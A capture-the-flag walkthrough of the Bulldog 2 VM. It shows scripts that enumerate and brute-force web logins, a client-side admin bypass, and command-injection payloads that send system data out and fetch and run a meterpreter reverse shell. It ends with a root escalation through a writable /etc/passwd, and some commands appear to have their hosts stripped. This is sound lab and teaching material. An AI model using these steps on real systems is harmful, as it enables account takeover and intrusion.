Bulldog 2 Boot to Root VM Walkthrough


Today I’ll be demonstrating the process to fully compromise the Bulldog 2 VM created by @frichette_n

This was a fun box, and was probably the first challenge VM I’ve attacked which had a realistic volume of data within (15,000 users…!). Overall I learned a lot from this VM and I hope you all learn something from this write up 🙂

Basic Recon and Enumeration

As per usual, we kick things off with the standard gamut of tools, nmap etc.


NMap scan of the target

So there’s a tiny attack surface here, just an NGINX web server and nothing else, not even SSH (or so it seems…?)

Let’s go and prod it a bit and see what happens.


Didn’t work as the application returns a 200 code even when a page isn’t found, where most webapps return a 404.

Googling for this issue shows that it’s a common complaint and a feature is due to be implemented soon to more robustly handle these edge cases.


Dirb reports the following – 

Dirb output

Not massively encouraging. Let’s move on to manual enumeration of the application instead.

Manual Enumeration

Opening the web app yields this rather attractive UI –

Bulldog Social UI

We immediately notice that the Register link simply displays a static message saying that registration is currently closed, so we can’t gain an easy foothold there.


So I’m an idiot, and it turns out that the /user/register endpoint is still accepting data, so you can simply register your own user here and save time scripting / bruteforcing! 

Just send username, password, email and name to the endpoint as a JSON object. 

Live and learn, eh!


The login page is a simple username+password affair, except it sends its data to the server as a JSON payload rather than normal basic POST data.

This is interesting as it gives us a hint as to architecture (Angular webapp, Node and Express backend, presumably with a Mongo database acting as the datastore)

We can go a ways towards proving that by simply sending malformed JSON to the webserver – 


yields this response – 

HTTP/1.1 400 Bad Request

Server: nginx/1.14.0 (Ubuntu)

<pre>SyntaxError: Unexpected token a in JSON at position 16<br>    at JSON.parse (<anonymous>)<br>
   at parse (/var/www/node/Bulldog-2-The-Reckoning/node_modules/body-parser/lib/types/json.js:89:19)<br>
   at /var/www/node/Bulldog-2-The-Reckoning/node_modules/body-parser/lib/read.js:121:18<br>    at invokeCallback (/var/www/node/Bulldog-2-The-Reckoning/node_modules/raw-body/index.js:224:16)<br> 
   at done (/var/www/node/Bulldog-2-The-Reckoning/node_modules/raw-body/index.js:213:7)<br> 
   at IncomingMessage.onEnd (/var/www/node/Bulldog-2-The-Reckoning/node_modules/raw-body/index.js:273:7)<br> 
   at IncomingMessage.emit (events.js:182:13)<br> 
   at IncomingMessage.EventEmitter.emit (domain.js:442:20)<br>    at endReadableNT (_stream_readable.js:1081:12)<br>    at process._tickCallback (internal/process/next_tick.js:63:19)</pre>

Which corroborates what I’ve said above, and gives away even more details about the underlying implementation.

Sadly this doesn’t give us a path to access as far as I’m aware so we carry on with basic enumeration.

Navigating back to the homepage, we spot a page titled “Users” which appears to pull back a list of profiles from the web server through some kind of REST API.

The URL it visits to pull back profile data is “/users/getUsers?limit=9” and it retrieves a JSON array of usernames and full names. The limit parameter can be expanded to “limit=20000” to pull back basic details of all 15,000~ users in the database!

Clicking on any one of the profiles displays their full profile data, via a GET request to “/users/profile/$USERNAME”, which returns data as follows – 

{"name":"Berna Phillips","email":"bernaphillips@happymail.com","username":"lrberna","auth_level":"standard_user","rand":22}

Note that the rand parameter simply determines which profile picture to display, in this case “22.jpg” from the assets directory. “auth_level” is far more interesting..

Armed with the information above we can now write a basic script to get all user details from the server. This will be a two-step process, one to generate a list of just usernames using a NodeJS script and one BASH script to actually perform the GET requests to the /profile endpoint.

NodeJS mini-script

Retrieve all of the users from the “getUsers?limit=20000” and store the results into a file.

Then fire up NodeJS and enter something along the lines of – 

let fs = require("fs");
let content = fs.readFileSync("/root/userArray");
let json = JSON.parse(content);
for(var obj of json){

Take all of the usernames which are printed to the console and store them in a file named “usernames”

BASH miniscript

Next we’ll parse those usernames and get all of the user details to try and find a user which isn’t a “standard” user – 

touch fullusers; 
echo > fullusers; 
for f in $(cat usernames); do 
    curl$f >> fullusers; 
    echo >> fullusers;  

This little script just iterates over every user and attempts to pull down their full profile. At the end of this script we’ll have a huge 15,000 line file containing all of the users details.

Frustratingly, running “grep -i -v standard_user fullusers” yielded absolutely no results, which means that the profile endpoint only returns standard users! Argh!

Web App Login Bruteforce

At this point we have no other avenues than to try and bruteforce the users which we’ve managed to retrieve.

I fully accept that the method that I’ll describe below is not the most efficient or effective, but without Burpsuite pro it was the best I could do (due to the fact that Hydra doesn’t support JSON requests / responses out of the box)

The following script can be used to try and brute force the users – 

for f in $(cat usernames); do 

echo "$f - " >> output; 

    curl -i -s -k  -X $'POST' -H $'Host:' -H $'User-Agent: Mozilla/5.0' -H $'Accept: application/json, text/plain, */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer:' -H $'content-type: application/json'  -H $'Connection: close'     --data-binary "{\"username\": \"$f\", \"password\": \"password\"}" $'' >> output ; 


I did warn you that it’s a bit ugly! Essentially we iterate over all of the usernames and try “password” as their password to start with.

After 10 minutes or so the command completes and we can grep our output file for results:

root@kali ~
  # grep "success\":true" output                                                                                                                                                                             !1102
{"success":true,"token":"JWT eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwYXlsb2FkIjp7Im5hbWUiOiJTdW1uZXIgWmltbWVybWFuIiwiZW1haWwiOiJzdW1uZXJ6aW1tZXJtYW5AaGFwcHltYWlsLmNvbSIsInVzZXJuYW1lIjoiaW1zdW1uZXIiLCJhdXRoX2xldmVsIjoic3RhbmRhcmRfdXNlciIsInJhbmQiOjE5fSwiaWF0IjoxNTM4MjE0NjIwLCJleHAiOjE1Mzg4MTk0MjB9.SihvXin3u3G5bYWQFQ-fqXCn_eSfR7RY67Dd4vU_nVY","user":{"name":"Sumner Zimmerman","username":"imsumner","email":"sumnerzimmerman@happymail.com","auth_level":"standard_user"}}

Woot! We can log in as Sumner Zimmerman with password “password”. Aaaand we get nothing new. Hrmph. No new buttons in the UI, no new options on our profile page, nought.

Looking in the “local storage” section of Firefox, we notice that there are two new entries. a JSON Web Token and a JSON blob which corresponds with our current user.

Changing the “auth_level” to “admin_user” and “enhanced_user” yielded nothing, so I dug into the source code of the Angular app. This digging yielded the following result – 

l.prototype.isAdmin = function() {
                var l = localStorage.getItem("user");
                return null !== l && "master_admin_user" == JSON.parse(l).auth_level

So all we need to do is set our user.auth_level value to “master_admin_user” and we should get admin, if there’s no access control behind the scenes. Let’s try that.


Bingo – 

Admin Dashboard

We’re making great progress now. We’ve successfully broken into the admin panel of the application and now we can start looking for ways to get a shell on the box.

The “Link+ Login” form above talks to /users/linkauthenticate to authenticate the user. Running the scripts above to try and bruteforce a password yielded no results (presumably because they are standard users, not admins) 

Even modifying the script to supply some common usernames (admin, administrator, churchy, linkadmin) with passwords in rockyou.txt yielded no better results.

After spending literally hours bruteforcing this box, I eventually noticed that the message above the login form says “authenticate with the Link+ CLI Tool” which implies that our entry may be sent directly to some process somewhere on the server side.

This can be proven with a request as follows – 


Great, command injection. Let’s use it to shell the box. Step one is a bit of recon by sending this payload – 

  "username": "admin",
  "password": "admin`var=$(uname -a|base64); wget$var`"

Which base64 decodes to “Linux bulldog2 4.15.0-23-generic #25-Ubuntu SMP Wed May 2”

Then we do the same command again but “uname -m” to get the processor architecture, which is 64 bit. Armed with this knowledge we can make a meterpreter reverse shell for 64 bit linux and get the remote box to retrieve and execute it 🙂

“msfvenom -p linux/x64/meterpreter/reverse_tcp lhost= lport=6667 -f elf > /var/www/html/shell” to make the payload, and start the associated handler for the shell in msfconsole.

With the handler running we send the following POST payload to the target – 

  "username": "admin",
  "password": "admin`wget -O /tmp/shell; chmod +x /tmp/shell; /tmp/shell`"
Limited shell

Hunt for PrivEsc

Running the usual gamut of privesc checker tools revealed that a few kernel vulnerabilities were present which should work, but more importantly /etc/passwd was apparently world writable.. Which means that we can add another root user at the bottom of the file and root the box in seconds – 



This box was great! It had a bit of a bruteforcing element which I’m not a huge fan of but there was such a huge pool of users that you’re guaranteed to guess the password eventually so that’s absolutely fine.

Cheers @frichette_n for such an awesome VM, I can tell that tonnes of work went into this one.

Add a Comment

Your email address will not be published. Required fields are marked *